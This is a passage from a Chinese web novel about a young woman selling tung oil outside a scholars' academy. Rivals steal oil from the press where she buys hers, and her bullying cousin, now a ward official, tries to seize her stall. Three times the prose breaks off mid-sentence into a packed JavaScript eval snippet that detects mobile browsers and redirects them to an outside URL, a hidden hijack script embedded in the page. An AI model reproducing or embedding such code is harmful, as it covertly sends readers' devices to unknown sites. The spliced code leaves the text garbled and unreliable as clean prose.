“你救了我的油庄，你的要求，我理应成全。这样罢，我现在便让鸿文写下契书，专允你从北氏桐油采买散油，每斤三十五文，你看如何？” “三十五文？” 房锦儿有些不敢相信地眨了眨眼。 不是说每斤四十么，这是每斤又便宜了她五文？ 那若卖出去……便是每斤利润三十五文，整整一倍，还有这般好事？ 北夫人见她犹豫不决：“太便宜了？那便还是按四十——” “不必！”房锦儿急急摆手打断，笑道，“三十五甚好，甚好！就按夫人说的来。” “鸿文。”北夫人点头，有小厮端来笔墨，她示意鸿文拟契。 “但我亦有两个条件。” “夫人请讲。” “第一，五百斤的规矩，不能坏。我虽破例允你采买散油，但你仍要保证，每年至少采油五百斤，可否做到？” 莫说每年五百斤，以大安坊周边五家学馆生徒之量，即便是每月五百斤，也不在话下。 房锦儿道：“可。” 北夫人继续道：“第二，你须得把你今日所见，走水之事究竟因何而起，如实告知于我，你可愿意？” 这更无不可。 鸿文在一旁奋笔疾书，房锦儿便把今日之事一五一十，事无巨细地讲给了北夫人听。 说到那路面上的油渍之时，北夫人皱了皱眉。 房锦儿亦觉着此处最为怪异，然她并非庄内人，对此也不好过多揣测，便只管把实情都说了，其余由他们自行勘察去。 拟好了契书，按了印，房锦儿作别北夫人，终于再次出了油庄。 采货的大事一了却，她浑身舒坦，倦意全无，连身上的伤都不疼了，恨不能立马背一缸油回去卖光。 鸿文照例送她离庄，甩着酸痛的胳膊道：“行了行了，这回省得你再救火了，我这条小命也不必再担惊受怕喽。” 房锦儿瞥了他一眼，笑道：“你替我跟北夫人说好话了？怎地还多让了我五文的利？” 鸿文笑道：“我同东家说你这人贪，不多给些利怕不好打发。” 房锦儿啧了一声，可惜道：“那早知我便再多要五文了。” 因着天色暗，鸿文这回不仅送她出庄，还得了北夫人的吩咐，带着两个小厮，点了火把，直接送她下山回城。 两人路上说起走水一事，房锦儿想起什么，突然问道：“走水之前，我在坡上看见那油匠和王饷争执，好似指着油缸与他解释些什么，没解释明白，这才去取了灯，你可听那油匠说起？” 鸿文点头：“他觉着仓里有几缸油少了寸许，王饷不信，反说他眼瞎，他便想取灯照明给王饷看。” 房锦儿若有所思：“那你们可查了仓房？缸里的油究竟少没少？” 鸿文看她表情，道：“还未细查。你觉得此事与走水有关？” 房锦儿耸了耸肩：“我胡乱问问。” - 又是响雷又是下雨，眼瞅着天全黑了，房锦儿还没到家，锦云和进逸坐不住了，急得团团转。 吴顺都下值回来了，薛湘也跟着担忧起来。 “听说那山路不好走，她又是个小女娘家的，城外不比城里，会不会碰到什么事？” 吴顺放下吃了一半的酱蒸肉，道：“我出去看看。” 他心中也有些不安，两司并案的事还没完，外头那个到底是山贼还是流寇，谁也说不准。 薛湘把外裳和佩刀拿给他。 吴顺穿了衣服，刚要出门，忽听外头起了动静，夫妻两人下意识把锦云和进逸拉住，屏息细听。 “咦，人呢？锦云？逸哥儿？” “阿姐——” 锦云听出是房锦儿的声音，像头小鹰似地，一个扑棱冲出屋去，进逸紧随其后。 吴顺和薛湘对视一眼，当即解了佩刀，坐下重新夹起酱蒸肉。 “你这小娘子，怎这么晚才回？教人担心死了……” 薛湘数落着探头出去，本以为会和往日一样，见到房锦儿满身疲惫，耷拉着脸踱过来，哪知头一伸出去，便被亮光晃晕了眼。 定睛一看，才发现房锦儿一手端了盏陶油灯，一手拎着只冒油的烧鹅，胳膊底下拢着两只小的，欢天喜地朝她跑来。 …… 钱有了，油有了，接下来便是怎么卖。 房锦儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878591|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一手攥着只鹅腿狼吞虎咽，一手拿筷箸拨拉那油灯的灯芯，目不转睛，跟头一回见这玩意似的。 事实上，房锦儿还真是头一回见。 马上要去卖灯油了，自家还连盏灯都没有，说出去让人笑话。况且知己知彼，才能百战百胜嘛，她也得知道这桐油烧起灯来到底如何。 薛湘把另一只鹅腿撕下来，突然不知该给锦云还是给进逸，进逸冲她摇了摇头，她便递给了锦云。 锦云看着烧鹅的眼睛比那油灯还亮，五岁不到的小女娘，已经吃完了一整只鹅翅膀，打了个饱嗝，仍旧接下了那大鹅腿。 这是多久没这么敞开吃过了。 这些日子送给吴家的吃食，因着有房锦儿的嘱咐，两个小的只尝尝味儿，一口不多贪，自家该吃米粥还吃米粥。 今天的烧鹅却是想怎么吃就怎么吃。 薛湘摸摸锦云的小发髻：“慢点儿，别噎着。” 要不是房锦儿得老天爷照拂活了过来，还撑起来了，这小囡眼下还不知过的是什么苦日子。 她转头看着房锦儿：“要不你就去那货郎旁边儿卖？他那位置大家都晓得了，去买的人多，指定亏不着。” “我看行。”吴顺也道。 “商市里头本就热闹，摊子摆那里头也合律法，哦，不过进商市得交些坐税钱，办个文牒。” 房锦儿啃着鹅：“那不进商市，是不是就不交坐税钱了？” “按理说是……” “那巧了，我晓得个比商市更好的去处。” - 月考昨日将将散场，今日的明经书馆便像放风的鸡舍一般，乌泱泱吵得人不得清净。 “我就说昨日那道贴诗当咏莲。” “谬论！你家莲花‘独立寒秋’？” “怎么不行，孤荷行不行？” “……不可教也，我懒得与你浪费口舌。许纵，买灯油，你去否？” 王远瞻冲着学舍外的凉亭唤了一声。 片刻之后，就见一个身材清瘦的绿衣书生小跑过来，像是早便等不及了：“走！” 王远瞻狐疑看他：“你小子怎这般兴奋？” “没什么，考得不错。” 王远瞻一眼便瞧见他匆匆往袖中藏书：“藏什么，我瞧瞧，你小子该不会背着我偷学——” “推命数？好啊，原来还是满脑子抽马，当心我告诉你阿爹。” 许纵一把将书抢回：“你告便是！都考完了，我消遣片刻又如何。” 许纵很是不满。 上回在那货郎何大的油摊上，就是王远瞻这厮大吼一声，害他错失了请那小女娘算卦的机会。 月考这些时日，他也是一有空便想溜去那油摊碰运气，哪知次次都让王远瞻给逮个正着。 如今已过将近半月，能不能再遇见还不知道。 王远瞻知道他心思，见他不悦，道：“不就是个小女娘么，算得能有多准？我听闻楚国寺里来了个高僧，要不去试试？” “不要。”许纵严词拒绝，“你没亲眼见过，当然不知算得有多准。” 两人你顶一句我撞一句，转眼便到了书馆门前，恰遇见个从外头回来的同砚。 “买桐油去？” 那同砚见他二人手中提着油瓶。 许纵点头，又看对方已经提了打满的油瓶回来，有些惊讶：“未时不到，你怎就买完了？那何大今日这般早？” 那同砚闻言也很是惊讶：“你们不知道？” “知道甚么？” “书馆外头新来了个卖油的，来得比何大早，油还比何大便宜，这几日谁还去商市。” 王远瞻露出个怀疑的表情：“有这事？” 那同砚呵呵一笑：“二位不信便算，反正我今日运气不错，已经抢到了，你们再慢走几步，油不出片刻就要卖光。” 两人这才将信将疑，心说反正都要路过，不如去看一看。 哪知还未踏出书馆大门，便听见外头人声鼎沸得离谱。 两人吃了一惊，再往前看，果见一堆同校的书生挤作一团，正推推搡搡，把个油摊围得水泄不通。 11. 第 11 章 为着与那货郎错开时间，抢占先机，房锦儿决定尽早出门。 卯时不到便等在金光门前，城门一开，小跑上山。 这些日子她跑油庄跑得勤，道路早已烂熟于心，即便黑灯瞎火的也丝毫不惧。 而且大抵是走得多了，腿软气短的毛病也好了不少，起初半路不喝水休息片刻不行，现在已然可以一口气直达庄里。 唯一难的，是背油。 十斤重的桐油，加上那陶罐的重量，往她那单薄的肩膀上一压，看着比她还宽出三拃，几乎能将人掀倒了去。 房锦儿头一日背上那油，被压得龇牙咧嘴。 鸿文都看不过去了：“太造孽，要么是你再雇个驴车？” 房锦儿咬着牙：“行啊，但我钱都用来买油了，你先借我二百文呗。” 鸿文沉默，捂了捂荷包：“算了，就我们庄下这山路，驴车估摸也走不了。” 山路崎岖不说，还窄得要命，驴车拉不上路，即便能拉，只怕半路也得颠簸翻。 房锦儿勉力挤出个笑：“那你把借我的银子攒着，回头攒够了帮我先修修路也行。” 鸿文帮她把背篓推了推：“我看还是你赚了钱来雇我，我给你修路比较快。” 房锦儿摇头：“那我不雇你。” 鸿文：“为何？” 房锦儿认真道：“我想雇个会修路的，免得白费钱。” 哪知话音未落，房锦儿试着走了两步，一个踉跄，硬是洒泼了半罐油。 故而最终第一日，房锦儿只背下不到七斤桐油。 她一路蹒跚走到明经书馆时，已是午正，比计划晚了整整一个时辰。 好在月考临近结束，馆内的学子已经陆续放松，开始有人外出采买日用，客流比想象中多上许多。 房锦儿挑的位置是书馆大门正对过儿。 那地方地势比书馆大门要高出一截，背靠着三五家铺子，从书馆出来，不用举目便能轻易瞧见。 其中两家居中的，一家是售笔墨纸砚，一家是卖些旧书古籍，有时也支个摊子在门口，卖些二手三手的碗盏铺盖，总之但凡穷书生用得着的，淘来什么卖什么。 房锦儿上回来寻许纵时便看到了这块宝地。 她想着旧书铺外已经没位置了，便试探着去找那卖文房四宝的店家问了问，说每月给二十文，能不能通融她靠着铺子墙壁也支个摊儿？ 却被那店主轰了出来：“不行不行，成何体统，煞是难看！” 房锦儿心中腹诽：卖个文房四宝还高雅上了。正打算放弃另寻个偏些的位置，忽听见有人唤：“小女娘，小女娘。” 房锦儿抬头张望，见是那旧书铺子门前站了个微胖的妇人，房锦儿拿手指指自己：“娘子叫我？” 那妇人招招手。 房锦儿便过去，那妇人道：“要不你来我这铺子前摆如何？每月二十文。” 房锦儿有些犹豫：“娘子，你这地方都满了，恐怕挤了点儿……”她推了推那一大摊子旧物。 “诶，不碍事，我给你腾出一块来，你瞧。” 妇人笑着过去用力一推，把那竹竿麻布撑起的摊子硬是往边儿上挪出去了三尺。 一面是旧货摊儿，一面是门槛，房锦儿背着油罐站到那三尺之地，左右转了几圈，不多不少，堪堪够。 “太小了些，十五文行不行？” “二十文，你方才都说给那家二十文，我可听见了。” “人家那地方大啊，你这大小只值十文。”房锦儿转头要走。 “十八文，我另允你把招牌挂我这竹竿上。”妇人指了指她撑旧货摊子用的竹竿。 这倒是个好主意。 房锦儿抬眼望了望，那竹竿约有七尺高，招牌若能挂到顶上，怕是能吸引不少人，比立在地上要好许多。 她道：“慢着，我先看一看。” 说着跑到对过的书馆门前仔细观了一观，确认那竹竿当真瞩目，这才回来，道：“行！” 说干就干，房锦儿付了钱，当即把油罐往地上一搁，在那妇人的帮助下开始往竹竿上挂招子。 做招子用的正是那块包袱布，深蓝的颜色，上头专程买了铅白墨，写了“房记桐油灯油”六个竖排大字。 做生意，除了货好，取的就是个“地利”，只要地方对了，区区几字也能揽客。 房锦儿这边还没挂完招牌，路过的生徒已然瞧见了。 “咦，这儿便有卖桐油的了？”几个书生同时叫道，语气又惊又喜。 桐油这东西着实稀缺难买，依他们所知，盛都城里就没几家油铺有售，还时常无货。大安坊商市那货郎何大倒是天天来卖，可一来便宜，二来量少，众人都抢，更是不好买。 这几人一出声，旁边铺子里的自然也闻声跟着来看。 房锦儿这地方本就小，七八个人前后一站，远看着便似十七八人一般挤，倒又把书馆那头刚出门的书生引来几个。 “卖桐油？要啊，这还犹豫甚么。” 有人伸着脖子往房锦儿那油罐里一看，见不过半罐出头，油色金黄，又没甚杂质，很是心动。 有人小声嘀咕：“大老远背到咱们书馆门前售卖，赚的就是辛苦钱，肯定不便宜，我看还是去寻商市何大买。” 另一人道：“那不见得，问一问再说嘛，若是价钱一样，自然买这里的，省得来回跑。” 这话说得在理，众人纷纷开口：“请问娘子的桐油怎么卖？” 房锦儿没想到挂个招牌的功夫已经来了这么多人，忙道：“小摊所售六十八文一斤，今日开市大喜，诸位郎君凡买满半斤皆减一文，头三位买者再减一文！” 她边道边从背篓里拿出量油用的铜角。 这铜角光滑没有槽口，倒油时需得掌握好力度和角度，方能一滴不撒地漏入瓶中，不是件容易事。 她在家拿水练习了几乎一整夜才勉强习得。 “多少？六十八文？” 围观的书生面色皆是一喜，竟没想到比何大卖的还要再便宜两文！买半斤再减一文，头三位再减一文，那岂不是半斤油只要三十二文！ 有反应迅速者登时高举油瓶：“我要半斤！” “我也要半斤！” “我油瓶没拿，劳烦娘子给我先留半斤！” “笑话！回去取油瓶罢你，娘子，我要半斤，我第三！” 有人将说话者挤开：“你甚么第三，你方才不是还说要去找何大买么？你去啊，娘子，我我我，我才是第三！” “你们怎好插队，我先来的，第三明明是我！” “胡闹，我头一个看见招牌过来的，你们都休跟我抢！” 十来个书生群情激昂，一下子乱作了一团，愈发分不清究竟谁是头三。房锦儿当然也不知，只得劝道：“诸位郎君莫急，莫急，有话好说，有油好买。” 她故意将话说得颇为大声，尤其“有油好买”四个字，不似劝架，反像吆喝，几嗓子“劝”出去，又陆续引来好些个“买好油”的顾客。 房锦儿手头不过七斤油，哪里经得住这般争抢。 即便她量油的手法很是不熟练，慢得教人着急，也只用了两刻钟，便把油罐卖得见了底。 没买到的书生急了：“没啦？娘子明日还来么？” “还减钱么？” “来来来，明日午时，后日午时，都在此处。” 房锦儿打完最后一点儿油，笑道：“满半斤减一文的惠价持续三日，头三位买者减一文则日日都有，郎君们只管再来便是。” 第一日卖油便是这般过去。 房锦儿收摊数钱，扣去七斤本钱，再扣去泼洒的三斤本钱，共得净利一百零九文。 若是不洒那三斤，就该是二百文。 她心疼得要死，回去的路上便去了趟商市，花三十文又买了套小些的背篓和陶罐，第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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街道司衙门的廨房里，司正牟万里教人把房进利找了过来。 “上回你办那偷药的案，找回的药材可有数过？” “数过。” “齐么？” “齐。” “可今日药行来人说，少了六包，你不知？” 房进利昨夜喝了不少，正是头疼得厉害，他抬眼道：“牟司正这是何意？觉得是我昧下了？” 牟万里把玩着手里的玉短刀：“我没这么说。” 房进利讥笑一声：“几包破药材，值几个钱，我要它作甚？” “错了，那药材可不便宜，药行说里头有山参。若非如此，也不会有贼人费尽心思去偷。” 这是指桑骂槐，骂他是贼？ 他有些怒道：“街道司只管抓不管审，我哪晓得这么多？” “不晓得，下回便晓得一下！” 牟万里一大清早吃了上头一顿埋怨，心头本也不爽利，再瞅房进利就愈显得扎眼，看在那一千贯钱的份上他才好言好语地问。 也不过就是提点几句，倒成了他猜忌下属了？ 那他还真得往那方面想想。 牟万里眯了眯眼睛：“总之一些个偷鸡摸狗下三滥的手段，莫要带进我街道司里，此等事情，以后也莫要再让我听到。” 房进利憋着一肚子气出了廨房，愈想愈恼火。 偷鸡摸狗下三滥，指谁？是，他房进利从前是跟着坊里的帮闲瞎混，名声不好听，可何时做过偷药材这种下作事？ 几根破山参也是他看得上的？他想要甚么参买不起？ “呸！” 房进利一脚踢飞了二堂前头的花盆，花盆腾空而起，哐啷一声，正好砸在前来办事的毛富脑袋上，霎时砸出条一指长的血口子。 毛富惨叫一声，捂住血淋淋的脑袋。 哪知还未吭声，房进利大步走来，朝他伸腿又是一脚：“废物！连个花盆都接不住，看甚么看！” 12. 第 12 章 何大这几日生意一落千丈。 从前不管他什么点儿到商市，摊前总等着一堆望眼欲穿的穷书生，两坛子十来斤的桐油，不出半个时辰全数卖光。 可打从三日前起，等着买油的竟是一个也没有。 摊子摆出去整整一刻钟才陆续来人，从前来买油个个都是迫不及待，如今又是嫌他卖得贵，又是说他来太晚。 且连一瓶油也不肯买了，只买二三两。 何大想到那些书生的面目，气得牙痒痒。 七十文一斤的桐油，嫌贵？ 那你们倒是休点油灯，读天书去呐！ 一群鸡肋做筷的酸秀才，穷得叮当响还学人上什么书馆？ 他着实想不通，之前说是因着月考，大都不出校门也就算了，可这几日明明已经考完，为何生意反倒愈发地差？ 盛都城通往北氏桐油的这段山路不好走，况且何大还故意走了不为人知的小路。 他回头张望几许，确信四周无人，埋首钻进个被藤蔓遮住的树洞之中。 这树洞不小，能容下两个成年男子。 他摸黑行了三步，触到了底，弯腰细听，确认不见动静，伸手拿开一块树皮，又蹑手蹑脚取下了一块青砖。 原是这树生得紧挨着北氏桐油的院墙，墙那头又恰好搭着间颇为偏远的柴房。 把树皮一剥，青砖一拆，树洞便神不知鬼不觉，摇身成了个通向柴房的暗门。 青砖一取，些微光亮便透进洞来，何大一双眼睛往柴房里看了看，没人，又轻轻将那砖放了回去。 他坐回树洞里，点起火折子。 他今日来得晚，从前要是这个点儿来，王饷必得把他臭骂一顿，现在倒好，成了王饷日日迟到。 生意生意不好，王饷那厮也不教人省心。 何大心中有些说不出地烦躁，把那火折子吹亮，盖熄，吹亮，又盖熄，过了也不知多久，忽听墙那头柴房门开了又关，知是王饷来了。 王饷今个还算守约，给他背来了二十斤桐油。 但何大看了看那俩坛子里，油渣不少，他撇撇嘴没多说，弯腰把带来的空坛从货箱里拿出，把装了油的往里放。 “等会儿。”王饷突然把他拦住。 何大瞅他一眼，从怀中摸出早便准备好的两串钱扔给他：“急个甚么劲，我甚么时候短过你的。” 王饷把钱掂了掂，却没有要让开的意思：“四十五文不行，从今个起，得算五十文一斤。” 何大一愣：“五十文？你小子疯了罢。” 两人声音皆压得极低，王饷道：“四十五文本就是便宜你的，我为你这油，可是连命都差些没了！” “那姓谷的油匠没烧死，还把缸里少了油的事情告诉了我们东家。若不是我那日装疯卖傻，趁着他们救火的功夫躲回仓库，把那油缸都填满了，糊弄了过去，我还能在这庄里混？还能替你弄油？” 何大斥道：“你自个看看这油渣子，你好意思管这叫替我弄油？” 王饷道：“眼下风头没过，我哪敢去偷那上层的清油？能给你凑凑油缸里剩的不错了，就这还是我废了大半夜功夫，你若不要，我卖旁人去。” 何大怒道：“那你卖旁人去，反正我这几日生意差得出奇，我回家种田都比这强。” 他说着要去拿那空坛。 “诶诶诶，急甚么。”王饷见他真走，语气软了一些，“你不想知道你为何生意差？” “为何？” 王饷便把房锦儿买到桐油的事说了：“前几日，有个女娘来我们庄上买散油，我们东家答应了。” 何大吃了一惊：“有这事儿？那你怎不拦着？” “你以为我没拦么！那女娘本事大着呢，可不是那些个被我骂几句便吓走了的怂货。” 摸到北氏桐油的从前也有过，无不是还未见到北夫人，就被王饷挡了回去。 “他娘的。”何大颓然往地上一坐，骂道。 他图的本就是个一家独大，现在可好，凭空杀出个对家。难怪那些个穷书生都不来等他出摊了，原是有人在跟他抢！ “可北氏桐油不是向来不卖散油么？怎突然破了例了？” 王饷摇摇头：“那我哪晓得，东家决定的事，轮不着我管。” 何大想了想，伸手搡他：“那既然破例了，你说咱们是不是也……” “诶诶诶，”王饷眼珠子一转，把他手抹开，“你甭想了，你晓得东家卖她多钱一斤？六十文！” 王饷拿手指头比了个六。 “这般贵？”何大愕然，“你不是说那些油行采买只要四十五？为何卖她六十？” “可不是！散买和油行能一样么，她一次能买五百斤？” 何大思索片刻，缓缓点头：“这倒是……” 王饷知他信了，嘴角略过一丝笑意，压了压语气，继续趁热打铁道：“所以说，我花大力气替你弄油，只收你五十文，是不是够意思？你若不要，便是让那女娘趁虚而入，届时真抢走了生意，你我再想回头便难了，你好好想想，是不是这个理儿？” 一番话把何大那点儿怒气泄得干干净净。 是啊，若是现在嫌贵不要，不就等于把这桐油生意拱手让人，不就是便宜了对方么？ 凭何！ 况且他本是气那生意无缘无故下跌，现在这个“缘故”找着了，对症下药，除掉那病根子，不就行了？ 何大如是想着想着，自个把自个开导了，还有些激昂起来。 想跟他抢桐油生意？没那么容易，没门儿！ 他倒要看看，一个女娘有什么能耐。 他看着面前两坛子油，蹙了蹙眉，又看向王饷：“行行行，五十就五十，但每天二十斤，不能少，只能多！” 王饷露出个笑：“好说，你放心，我便是豁出去，也定不会少你半斤油。” - “桐油一斤，郎君拿好——” 灰衣灰帽的书生郎君递过一串铜钱，接了那陶油瓶，欢欢喜喜看了一番：“咦，小兄弟擦得当真干净，娘子的油也清亮见底，好，好！” 这便是房锦儿新增的揽客法子，凡买油半斤以上者，由逸哥儿免费帮擦油瓶。 莫看这点惠利颇小，不少书生平日里埋头治学，无暇顾及这等杂事，那油瓶旧垢叠新垢，脏得没法见人，可又少不得要拎出来打油，故而都是半遮半掩地藏着拎。 这下听说房锦儿这里买油还帮擦，无不是纷纷称好，踊跃而至。 连平时只舍得买半斤油的，都为了擦瓶斥资一斤。 逸哥儿有些不好意思地笑笑，数准了铜板，递给一边的小锦云。 锦云梳两个小丫髻，盘着短腿坐在地上，熟练把那铜钱拆了，串到另一根长绳上。 卖油十来日，两小只已经干得有模有样。 “那是自然，我家幼弟做事最是认真，郎君下回只管再来擦瓶，还要多谢郎君捧场。” 房锦儿说着，笑眯眯掂那铜角，又从罐里撇出一小层清油，精精准准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900401|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒进书生的陶瓶里，送给他作添头。 她现在倒油已经熟练多了。 “桐油本就味重，渣滓烧起来更是呛鼻，所以我们房记桐油只卖最好的上层清油，耐烧，味道也小，闻习惯了还觉着有些清香。” “没错，”那书生得了添头很是高兴，闻言，鬼使神差地低头照着油瓶深吸一口，“娘子家的油确实有股清香！” “是么？”有排队的奇了，“我闻闻！” 说着挤上前来，对着那油瓶也是一吸，被呛得咳了两声：“咳咳，诸位别说，好像是有点儿香气。” “真的假的……” 进逸被他们说得犯了疑，嘀咕着也要凑去那油罐跟前细闻，被房锦儿不动声色地一把拦住，掩笑摇了摇头。 “怪了，从前买何大的油，怎不觉得有香气?” “说明他那油不好呗，油至清者为上，你看这油多清，多金黄，何大卖的那油渣滓多，都瞧不出颜色。” “我说从前怎觉这桐油呛鼻，竟是烧到油渣滓了，原来好油味甘香。” “还比何大家便宜两文！” “没错，油好价还低。” “……” 这边书生们你一言我一语，那边房锦儿打油的手就没停下，进逸转眼之间又接了三个擦瓶的活儿，忙得不可开交，铜钱也越数越快。 十个铜钱是多是少打眼便知，六十文数完只消一瞬。 房锦儿看得心惊，悄声提醒：“不急，你慢些数，油我都留着呢，瓶子你慢慢擦便是。” 哪知逸哥儿笑着道：“无碍，阿姐放心，瓶子和钱我兼顾得了。” 逸哥儿是个沉稳性子，打从穿来，房锦儿便没见过他有不着调的时候，瞧他这般自信，想是真有把握的，于是乎不再多问，只由他发挥。 果然不出片刻，逸哥儿就当真显出些本事。 有个书生递过来半斤油钱，逸哥儿扫眼便道：“郎君，还差两文。” 众人“唰”地看过来，那书生有些窘迫，却是不信邪，道：“小阿弟，你看清楚再言语，我这铜钱数好了才拿出来的，莫要平白诬赖。” 逸哥儿扫眼又看了一遍，道：“就是差两文，郎君若不信，请取下来数便知。” “嘿，你这小弟……” 那书生只好红着脸拆开串钱的绳，哪知绳头没拿稳，“叮啷”两声，铜钱骨碌碌滚掉几枚，恰从房锦儿脚边划过。 房锦儿赶忙放下铜角俯身去追。 那铜钱滚得快，房锦儿紧追两步，瞧着就要翻到之时伸手去捉，怎知眼前忽然暗作一片，还未来得及抬头，只听一声闷响，那铜钱便被人踩在了脚下。 若不是房锦儿缩手及时，恐怕一同被踩的就还有她的手指。 她抬头看去，只见一张甚是熟悉的面孔映入眼帘，正是她那二叔房稳康的次子，房进利。 房进利见了她，亦是高高地挑起眉毛，佯装倒吸一口凉气：“嘶……街坊传闻我堂妹起死回生，原来当真，在这里要饭啊……” 他哈哈一笑，显然并不打算把房锦儿放在眼里。 他抬眼扫了一扫面前的油摊儿，喝道：“摊主何在？我乃本坊街道司司副，听闻有人在此侵街占道，违律经营，特来查抄，还不快快给我滚出来。” …… “哼。” 明经书馆的大门前，绿树荫庇之下，何大颠了颠背上的货箱，冷笑着离开。 “小女娘，你就等着吃好果子罢。跟我抢生意，你还嫩了些。” 13. 第 13 章 房进利嗓门大得出奇，一瞬间引得路人纷纷驻足。 房锦儿捡铜钱的手顿了一顿，甚是诧异。 街道司司副？ 这泼皮不是坊里的帮闲么，甚么时候混成了个司副？还要抄她的摊儿？ 她第一反应，莫不是这厮故意瞎编，专程来挑事要钱的罢？ 毕竟依着原身的记忆，这位堂哥从小游手好闲，打架斗殴，最是把欺负她当作乐趣。 从小到大，原身不知在他手上吃了多少亏。 小则嘲弄讥讽，大则出手打人，夺她物件和银两拿去赌博喝花酒。 总之但凡她有个把好东西，藏得不仔细，都要被这厮硬抢了去。 最恶的一次，当属原身从房老二家的浆洗行下了值，恰巧遇见他领着几个喝醉的恶少四处寻摸乐子，看见原身，竟奸计上心，想将她拉进附近的歌楼取乐。 好在路人经过，房进利碍于人多勉强松手，原身这才躲过一劫。 这般恶劣之人，竟能当上街道司的司副？ 可看他一身红衣，腰间带刀，人模狗样，又觉得光天化日之下冒充朝廷命官，纵他再是猖狂，谅也不敢。 房锦儿不动声色地打量房进利几眼，捡起那几枚铜钱，起身塞回给书生。 “齐了，郎君数数，我幼弟数钱有两把刷子，如他所说不错，还请郎君赔个礼，添够了钱再打油。如是他看错了，那我也给郎君赔个不是，再多送一两如何？” 该做的生意还是得先照做。 那书生本就有些心虚，正愁找不到台阶下，被房进利突如其来这么一打岔，反倒理直气壮了些。 “我我我，我不要了！你们诬陷好人，不是甚么正经的油商，这这位官人说你们违律经营，我看没错。” 他手一挥，赶紧地挤开人群，溜之大吉。 却是房进利闻言眉头一皱，重新看向房锦儿，脸上讶异之色难掩：“你就是摊主？” 房锦儿面不改色：“是我。” 房进利仍旧不信似地，撩起眼皮又把摊子扫视一圈，仿佛要找出个真正的摊主。 可摊子就这么小，他逡巡一圈，只瞄见了被油罐挡住大半的逸哥儿和锦云。 锦云和房进利一对视，一双圆溜的大眼睛霎时水汪汪，转头便躲到了进逸身后。 进逸也怕，可身为阿兄，无处能避，只能硬着头皮站稳。 这俩小的从前也没少吃房进利的亏，挨骂挨打都是常事。 爹娘常年不着家，他们阿姐又护不住，两个小的便只有忍的份儿。 甚至有一回，房进利要钱要得紧，原身被逼得走投无路，还是锦云哭着拿出最喜欢的小金锁给了，才让原身免遭一顿打。 房锦儿瞧他盯着两个小的，跨步将身一挡，把进逸和锦云遮了个严严实实。 “二堂兄别来无恙啊？妹妹被赶出房家太久，竟连堂兄如今当了官儿都不晓得，真是惭愧。若是早些知道，妹妹就回去拜访了，定不会少了礼数，让堂兄跑这一趟。” 寥寥两句，把房进利查抄摊子，说成了礼数不周的报复。 爱看热闹乃是人之本性，除了那短钱的书生，原先等着买油的郎君们一个没走，加上后来的行人，闻言皆开始交头接耳，嘁嘁嚓嚓。 街道司捉小贩已经够好看的了，“听这意思，还是当差的堂兄捉卖油的堂妹？” “哟，这女娘是被赶出来的？” “怪不得带着两个小的来卖油。” “犯了何错要把人赶出家？没给礼钱还要抄人摊子，怎么，连活路都不给？” “街道司何时也要看钱办差了？” “我瞧着这堂妹挺规矩的啊，倒是那司副一脸凶神恶煞的样。” 众人伸长了脖子等着看，那旧书铺里的客人也闻声出来了，把个铺子门前围得里三圈外三圈，书铺的那妇人也在其中，正站在石阶上。 房进利本就最恨别人当着他的面窃窃私语，又是头回当街办差，被看猴似地看着，气血一上涌，登时被房锦儿带跑偏。 “我……你那是不愿嫁人，自个走的，跟我家有何关系？” 房锦儿反唇相讥：“若是良婿，我为何不愿？若是叔婶给二堂兄也物色个七十的老妪，堂兄娶是不娶？” 旁人闻言又是一阵骚动：“哦，原是逼人家出嫁。” 随行的差役赶忙在他耳旁轻声提醒：“房爷，侵街占道，违律经营。” 房进利得了指点，这才回过神来，忙道：“你休要胡扯，说，谁允你在此处摆摊的，你可知这是强占街陌，有违本朝大律？” 房锦儿摸摸鼻子。 “堂兄明察，强占街陌，是指在妨碍通行之处开铺设摊，或是未经允许，强挡了他人店宅，挤兑了他人生意。可我这摊子不过三尺宽，一不妨碍街道通行，二得了允许才摆，并不挡周围铺子的生意，何来强占？” “何来强占？”房进利被问得一懵。 他哪里懂甚么律法，不过是有人去街道司告状，他听闻能没收查抄银两，便大步来了。 他把方才在他耳边提醒的那差役往前一揪：“你说！” 那差役措手不及，支吾了两声，忽然想到什么，朝房锦儿道：“你说你得了允许，可有人替你证明？” “自然有。” 房锦儿抬眼看了一圈，立时拿目光捉到了那微胖的妇人。 她今日头上簪朵粉花，还怪显眼。 两人一对视，不等房锦儿开口，那妇人便道：“我替她证明，她这摊子靠着我的铺墙，是我应允之下才摆的，不仅不妨我做生意，还给我带来不少新客呢。” 妇人一说话，围观众人便齐刷刷转头看。 她这书铺开了有些年头了，明经书馆的生徒即便没来光顾过，对她也很是眼熟。 人群中有人点起头来，皆道这位店主说话可信。 亦有些从房锦儿摊上买过油的书生开始替她辩解，说她卖的桐油上佳，童叟无欺，这摊子也从不妨碍通行，怕是街道司欺负人。 那差役一时想不出还有何律法可依，房进利没了招，瞥眼瞧见房锦儿那骨瘦如柴的样儿，又听她竟敢义正言辞地让他下不来台，很是窝火。 这房锦儿不是个逆来顺受、窝囊如鼠的性子么？ 从前打她两掌屁都不敢放一个的小女娘，如今反了天了，竟敢和他叫板。 